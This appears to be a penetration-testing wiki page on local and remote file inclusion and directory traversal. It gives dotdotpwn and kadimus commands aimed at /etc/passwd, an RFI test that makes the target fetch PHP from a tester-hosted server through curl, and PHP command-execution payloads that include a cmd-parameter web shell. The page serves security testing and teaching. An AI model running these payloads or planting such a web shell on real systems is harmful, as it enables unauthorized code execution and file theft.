File inclusion

Theory

Many web applications manage files and use server-side scripts to include them. When input parameters (cookies, GET or POST parameters) used in those scripts are insufficiently validated and sanitized, these web apps can be vulnerable to file inclusion.

LFI/RFI (Local/Remote File Inclusion) attacks allow attackers to read sensitive files, include local or remote content that could lead to RCE (Remote Code Execution) or to client-side attacks such as XSS (Cross-Site Scripting).

Directory traversal (a.k.a. path traversal, directory climbing, backtracking, the dot dot slash attack) attacks allow attackers to access sensitive files on the file system, outside the web server directory. File inclusion attacks can leverage a directory traversal vulnerability to include files with a relative path.

Practice

Testers need to identify input vectors (parts of the app that accept content from the users) that could be used for file-related operations. For each identified vector, testers need to check if malicious strings and values successfully exploit any vulnerability.

• Local File Inclusion: inclusion of a local file (in the webserver directory) using an absolute path

• LFI + directory traversal: inclusion of a local file (in the webserver directory or not) by "climbing" the server tree with ../ (relative path)

• Remote File Inclusion: inclusion of a remote file (not on the server) using a URI

The tool dotdotpwn (Perl) can help in finding and exploiting directory traversal vulnerabilities by fuzzing the web app. However, manual testing is usually more efficient.

# With a request file where /?argument=TRAVERSAL (request file must be in /usr/share/dotdotpwn)
dotdotpwn.pl -m payload -h $RHOST -x $RPORT -p $REQUESTFILE -k "root:" -f /etc/passwd

# Generate a wordlist in STDOUT that can be used by other fuzzers (ffuf, gobuster...)
dotdotpwn -m stdout -d 5

The tool kadimus (C) can help in finding and exploiting File Inclusion vulnerabilities. However, manual testing is usually more efficient.

kadimus --user-agent "PENTEST" -u '$URL/?parameter=value'

Depending on the environment, file inclusions can sometimes lead to RCE (Remote Code Execution) by including a local file containing code previously injected by the attacker or a remote file containing code that the server can execute.

Local file inclusions can sometimes be combined with other vulnerabilities to achieve code execution

• directory traversal

• null-byte injection

• unrestricted file upload

• log poisoning

Once an attacker is able to execute code on a target, testing the limitations of that code execution can help to go from code execution (e.g. PHP, ASPX, etc.) to command execution (e.g. Linux or Windows commands).

With PHP as example, the tester can create a phpinfo.php containing <?php phpinfo(); ?> and use a simple HTTP server so that the target application can fetch it. When exploiting the RFI to include the phpinfo.php file, the tester server will send the plaintext PHP code to the target server that should execute the code and show the phpinfo in the response.

If the tester server used to host the phpinfo.php file can interpret PHP, it will. The tester will not achieve code execution on the target server but on his own instead. A simple HTTP server will do.

# Create phpinfo.php
echo '<?php phpinfo(); ?>' > phpinfo.php

# Start a web server
python3 -m http.server 80

# Exploit the RFI to fetch the remote phpinfo.php file
curl '$URL/?parameter=http://tester.server/phpinfo.php'

If the phpinfo has been successfully printed in the response, the tester can engage a more offensive approach by trying to execute commands with one of the following payloads.

As code execution functions can be filtered, the phpinfo testing phase is required to assert that arbitrary PHP code is included and interpreted.

<?php system('whoami'); ?>

<?php exec('whoami'); ?>

<?php passthru('whoami'); ?>

<?php shell_exec('whoami'); ?>

<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?>

LFI to RCERFI to RCE

Resources

Directory Traversal Attack: Path traversal explainedAcunetix

What is path traversal, and how to prevent it? | Web Security AcademyWebSecAcademy

WSTG - Latest | OWASP Foundationowasp.org

Directory traversal and File Include

Path Traversal | OWASP Foundationowasp.org

Testing for Directory traversal

https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/11.2-Testing_for_Remote_File_Inclusion.htmlowasp.org

Testing for Remote File Inclusion

https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/11.1-Testing_for_Local_File_Inclusion.htmlowasp.org

Testing for Local File Inclusion

PayloadsAllTheThings/Directory Traversal at master · swisskyrepo/PayloadsAllTheThingsGitHub

PayloadsAllTheThings/File Inclusion at master · swisskyrepo/PayloadsAllTheThingsGitHub